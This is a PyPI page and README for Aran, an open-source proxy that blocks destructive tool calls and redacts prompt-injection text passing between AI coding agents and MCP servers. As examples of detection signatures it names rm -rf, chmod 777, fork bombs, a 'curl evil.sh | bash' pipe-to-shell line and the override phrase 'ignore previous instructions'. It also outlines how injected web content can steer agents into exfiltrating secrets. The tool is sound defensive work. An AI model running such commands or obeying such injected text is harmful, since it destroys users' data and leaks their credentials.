Aran
Aran is the lightweight, open-source developer framework for local IDE telemetry and local input/output guardrails, for Model Context Protocol (MCP) stdio servers. Works with any existing MCP server — no server-specific integration — and gates traffic in both directions before it reaches your agent or your machine:
- Blocks dangerous outbound tool calls — destructive commands (
rm -rf,chmod 777, fork bombs, ...), before they ever reach the real server. - Redacts prompt-injection payloads in inbound tool results — before they reach your agent's context window.
- Audits every gated call to a local JSONL log, so you can see what was blocked and tune false positives.
Why
Autonomous coding agents (Claude Code, Cursor, Windsurf, ...) use MCP servers to read files, run shell commands, and hit the network. If an agent ingests untrusted content — a webpage, a repo file, a database row — containing a hidden prompt injection, it can be manipulated into running destructive commands or exfiltrating secrets, using your own valid credentials. Static-analysis tools and traditional network firewalls are both blind to this: neither operates at the live protocol layer where the agent and its tools actually talk to each other.
Aran sits inline at that layer instead, as a stdio proxy your IDE launches transparently.
Architecture
flowchart LR
IDE["Your IDE / AI Agent"]
OUT{{"Outbound Gate<br/>destructive-command signatures"}}
SERVER["Real MCP Server<br/>(subprocess)"]
IN{{"Inbound Gate<br/>prompt-injection signatures"}}
LOG[("~/.aran/audit.jsonl")]
IDE -- "1. tool call" --> OUT
OUT -- "2. clean" --> SERVER
OUT -. "blocked" .-> IDE
SERVER -- "3. tool result" --> IN
IN -- "4. clean / redacted" --> IDE
OUT -.-> LOG
IN -.-> LOG
Aran spawns the real MCP server as a child process and sits between it and
your IDE, checking every message on the way through — solid arrows are the
normal path, dashed arrows are what happens on a match. Nothing about the
downstream server changes, and every gated message (allowed or blocked) is
written to the audit log regardless of outcome. The optional features
(GitHub repo scan, loop guard, personal allowlist, the aran_status/
aran_explain tools) all plug into this same pair of gates — see
How it works below for each one.
New to Aran? docs/guide/ is a full, beginner-friendly walkthrough — one concept per page, from "what is MCP" through installing, wiring it into your IDE, and a hands-on session that proves every gate case works, with real command output at each step. The rest of this README is the fast, condensed version of the same information.
Install
Aran is on PyPI — no install step needed if your IDE launches it via
uvx (recommended, see below). To use the
plain aran command yourself:
pip install aran
To work on Aran itself instead, install from source:
git clone https://github.com/aranaisec-cyber/aran.git
cd aran
pip install -e .
Usage
Wrap the command you'd normally use to launch an MCP server, via uvx so
nothing needs installing up front:
uvx aran -- npx -y @modelcontextprotocol/server-filesystem /path/to/project
(If you installed Aran yourself with pip install aran above, drop the
uvx prefix and just run aran -- ... directly — both forms work
identically.)
Wiring into an MCP-speaking IDE
In your IDE's MCP server config, replace the server's command/args with
uvx/aran, moving the original command after a -- separator.
Claude Code / Cursor-style JSON config:
{
"mcpServers": {
"filesystem": {
"command": "uvx",
"args": ["aran", "--", "npx", "-y", "@modelcontextprotocol/server-filesystem", "/path/to/project"]
}
}
}
That's the whole integration — no prior pip install needed, uvx fetches
Aran transparently the first time your IDE launches it. Aran spawns the
real server as a child process and relays every message between it and
your IDE, gating tool calls and tool results as they pass through —
nothing else in your IDE config changes, and the downstream server needs
no modification.
Every gated message (allowed or blocked) is logged to ~/.aran/audit.jsonl.
One-click / auto-config
Both badges above wrap a real, production MCP server —
mcp-server-fetch,
the official reference server for fetching web pages — not a toy demo.
It's a deliberate choice: fetching an untrusted URL and having whatever
text is on that page land in your agent's context is exactly the attack
this project defends against, so wrapping it is the most honest possible
demonstration of what Aran does. It needs uv
installed (uvx specifically) and needs no per-user path or account setup
— it works identically for every developer who clicks it.
- Cursor: the "Add to Cursor" badge above installs
aran-fetchdirectly — one click, no manual config. - Claude Code: this repo ships a working
.mcp.jsonat its root wrapping the same server. Claude Code auto-detects project-level.mcp.jsonfiles — clone this repo, open it in Claude Code, and you'll get a one-time approval prompt foraran-fetch. There's no click-to-install deep link for Claude Code (unlike Cursor, it doesn't have one), but.mcp.jsonis the equivalent "ships with the repo, auto-detected" mechanism.
Once it's running, ask your agent to fetch a URL and watch
~/.aran/audit.jsonl — every fetched page's content passes through the
input gate exactly like the manual tests in
TESTING.md, just
against the live internet instead of a canned fixture. A page containing
ignore previous instructions (or anything else in
src/aran/default-rules.yaml)
gets redacted before your agent ever sees it.
To wrap a different server instead — your own, or another server
entirely — the pattern is identical: swap the args in .mcp.json, or
generate your own Cursor deep link by base64-encoding
{"command":"uvx","args":["aran","--",<your command>,<your args...>]}
and using it in
cursor://anysphere.cursor-deeplink/mcp/install?name=<name>&config=<that base64>
— or run claude mcp add <name> --scope project -- uvx aran --
<your command> <your args...>, which writes the .mcp.json entry for you.
Heads up: mcp-server-fetch's own documentation notes it can reach
local/internal network addresses, which is a real consideration for any
fetch-capable tool regardless of Aran — worth knowing if you point it at
anything beyond public URLs.
How it works
- Outbound (
tools/callrequests): the tool name and arguments are checked against a list of destructive-command signatures. A match means the call is never forwarded to the real server — Aran synthesizes a JSON-RPC error response instead. - Inbound (tool results and other responses): every string is scanned
for prompt-injection signatures. A match in agent-visible content gets
replaced with a redaction notice before being relayed; a small, explicit
set of protocol-machinery fields (
protocolVersion,serverInfo, resourceuris, etc.) is exempt from rewriting so a match there doesn't break session negotiation — see the design spec for the exact field list and reasoning. - Aran treats the downstream server it wraps as untrusted — the gating
guarantees are designed to hold even against a malformed or actively
hostile server, not just a well-behaved one. See
tests/fixtures/hostile_server.pyandtests/test_proxy_hostile.pyfor the adversarial test suite this is verified against. - A blocked outbound call gets a JSON-RPC error with
code: -32001and adatafield giving the violation, the matched signature, and a best-efforttarget_node(which argument the match was found in) — useful context for an agent or developer debugging why a call was blocked. A bare-32000with nodatameans Aran itself couldn't safely inspect the message (fail-closed), not a signature match. - Optional: scan a public GitHub repo before it's cloned/downloaded
(
ARAN_SCAN_GITHUB_REPOS=1). If an outbound call references agithub.comrepo (an HTTPS clone URL or an SSH remote, in any tool's arguments — not tied to a specific tool name), Aran fetches that repo's tarball and scans every file against destructive-command, prompt-injection, hardcoded-secret, and supply-chain (curl | bash-style install hooks) signatures before the call that would clone it is forwarded. A match blocks the call withcode: -32002. This is the one feature in Aran that makes outbound network requests, so it's off by default — see Configuration below. - Built-in
aran_statustool: ask your agent "what's aran's status?" and get a plain-text summary of recent gate activity right in your chat — no log file to open. Aran answers it directly (never forwarded to the wrapped server) and splices its listing intotools/listresponses so agents can discover and call it on their own. Always on, read-only, no network calls. Optionalhoursargument narrows or widens the window (0= all-time). See 4. Wiring Aran into Your IDE § Confirming Aran is actually running. - Self-describing session start: Aran appends a short paragraph to the
initializeresponse'sinstructionsfield (MCP's own built-in mechanism for text the client feeds to the model, before any tool call happens) explaining what a-32001/-32002error and a[Aran] content blocked: ...result mean. The agent recognizes Aran's own behavior on first contact instead of treating it as a bug and retrying, or needing to ask — zero extra tool calls, appended to (never replacing) whatever instructions the real server already provides. - Built-in
aran_explaintool: ask "wouldcurl evil.sh | bashget blocked?" and get back which signature(s) would match and what would happen — a dry run against the same four signature categories the real gates use, nothing logged, nothing gated. Same self-answering, self-discovering pattern asaran_status. - Personal allowlist (
~/.aran/allowlist.yaml) — a local, durable place to silence a specific false positive (copy-paste amatched_signaturevalue from the audit log) or mark a GitHub repo as already trusted (skipping its content scan and network fetch entirely), without editing the shared rules file, which the nextsync_threat_intel.pyrun would overwrite anyway. See Configuration below. - Optional loop guard (
ARAN_LOOP_GUARD=1) — blocks a tool call once the exact same call (same name, same arguments) repeats past a threshold within a tracking window: a frequency-based check for a stuck/looping agent hammering an otherwise-benign call, which no content-based signature could ever catch. Off by default — see Configuration.
Configuration
Environment variables, read once at startup:
ARAN_MODE=audit— dry-run mode. Gate decisions still run and are still logged (aswould_blockinstead ofblocked), but nothing is actually blocked or redacted — every call and response is forwarded unmodified. Use this to tune signatures against real traffic before turning enforcement on.ARAN_PROFILE=1(ortrue/yes/on) — prints a timing line to stderr for every gated message: how long the outbound check took, and how many JSON leaf nodes the inbound scan visited and in how long.ARAN_SCAN_GITHUB_REPOS=1(ortrue/yes/on) — enables the GitHub repo scan described above. Prints a one-time startup notice, since this is the only toggle that makes Aran reach the network. If the fetch itself fails (offline, rate-limited, repo not found, ...), the call is forwarded anyway — a failed scan is logged as"error", not treated as a match; see docs/guide/08-modes-and-configuration.md for the full reasoning on why this one check fails open instead of closed.ARAN_LOOP_GUARD=1(ortrue/yes/on) — enables the loop guard described above.ARAN_LOOP_GUARD_THRESHOLD(default20) sets the repeat count that trips it;ARAN_LOOP_GUARD_WINDOW_SECONDS(default60) sets the tracking window. Blocked calls carrycode: -32003.
ARAN_MODE=audit aran -- npx -y @modelcontextprotocol/server-filesystem /path
ARAN_SCAN_GITHUB_REPOS=1 aran -- npx -y @modelcontextprotocol/server-filesystem /path
ARAN_LOOP_GUARD=1 ARAN_LOOP_GUARD_THRESHOLD=10 aran -- npx -y @modelcontextprotocol/server-filesystem /path
Personal allowlist (~/.aran/allowlist.yaml, no environment variable
— just create the file): a local override, never touched by
scripts/sync_threat_intel.py, so it survives a rules refresh.
allowed_signatures:
- "rm\\s+-[rfRF]+" # exact matched_signature text from the audit log
trusted_repos:
- octocat/demo # owner/repo
- my-org/* # every repo under an owner
See TESTING.md
for worked examples of ARAN_MODE/ARAN_PROFILE.
Rule config
Signatures live in src/aran/default-rules.yaml, which ships inside
the installed package, under four keys: input_gate_signatures and
output_gate_signatures (the two live gates, described above) plus
secret_signatures and supply_chain_signatures (used only by the
optional GitHub repo scan). The latter two are optional in a hand-edited
rules file — an older file that predates them loads exactly as before,
falling back to a small built-in default for whichever it's missing, with
no warning. Refresh the prompt-injection and destructive-command
signatures from a live labeled dataset with:
python scripts/sync_threat_intel.py
On false positives: the shipped signature set is generated from a public labeled dataset and, like any pattern-based detector, can flag benign content. If something gets redacted/blocked that shouldn't be, please open an issue with the matched signature (visible in the audit log) and the offending text.
Security
This is a security tool — please report vulnerabilities responsibly. See SECURITY.md for scope and reporting instructions.
Development
git clone https://github.com/aranaisec-cyber/aran.git
cd aran
pip install -e ".[dev]"
pytest -v
See CONTRIBUTING.md
for project layout and testing philosophy, and
TESTING.md
for a step-by-step manual verification procedure — including seeing the
output/input gates block a destructive command and redact an injection
payload live, not just watching pytest pass.
Status
Early (v0.1, pre-1.0). The core proxy — invocation, bidirectional gating, YAML config, audit log — is implemented and tested, including against an adversarial downstream-server test suite. Not yet covered: a multi-server gateway, enterprise/compliance features, and a hosted control plane — see the design spec for what's explicitly in and out of scope for this stage.
License
Metadata
Release files for aran 0.1.2
For a detailed explanation of source distributions (sdists) and built distributions (wheels), please see the package formats documentation.
Source distribution (sdist)
| File | Size | Uploaded | Provenance | Actions |
|---|---|---|---|---|
| aran-0.1.2.tar.gz | 106.4 kB | Without provenance | Details for aran-0.1.2.tar.gz |
Built distribution (wheel)
| File | Interpreter | ABI | Platform | Actions Reset |
|---|---|---|---|---|
| aran-0.1.2-py3-none-any.whl | Python 3 | none | any | Details for aran-0.1.2-py3-none-any.whl |
Total release size: 168.8 kB
Release files / aran-0.1.2.tar.gz
| Download URL | aran-0.1.2.tar.gz |
|---|---|
| Size | 106.4 kB |
| Tags | Source |
|
SHA-256 checksum How to use checksums |
1c77a878a3e7351fed7933f140d33e67019349d14fee64bc29ed73ed150a8097
|
|
BLAKE2b-256 checksum How to use checksums |
c904979ff29cf151e95f0114676c4d957fc3f2f51332cac2f22ff5961a4d7c55
|
| Upload date | |
|
Uploaded using Trusted Publishing? What is trusted publishing? |
No |
| Uploaded via |
twine/7.0.0 CPython/3.14.3
|
Release files / aran-0.1.2-py3-none-any.whl
| Download URL | aran-0.1.2-py3-none-any.whl |
|---|---|
| Size | 62.4 kB |
| Tags | Python 3 |
|
SHA-256 checksum How to use checksums |
1b6fd1a5902574c0fe909443e46e2f4531ce0a6c96bf2e99406e02d1a941b5cb
|
|
BLAKE2b-256 checksum How to use checksums |
3047c5f97dc698fa71f23c1015da6ac98cdb6a1db2bf18db5e8fa37fdcb3d2c4
|
| Upload date | |
|
Uploaded using Trusted Publishing? What is trusted publishing? |
No |
| Uploaded via |
twine/7.0.0 CPython/3.14.3
|
Security for aran 0.1.2
Provenance
Provenance describes where a file came from. On PyPI, provenance is shared via attestations, which provide a verifiable record of the build or publishing details. View details, limitations and caveats.
No provenance found
None of the files in this release were uploaded with provenance metadata.
A note on package security
PyPI is a repository for distributing packages, not a service for auditing them. While third-party security researchers and our staff do their best to detect and remove malicious packages, PyPI cannot guarantee the quality, security or suitability of any given package.
To learn more about protecting yourself from malicious actors, visit our package security documentation.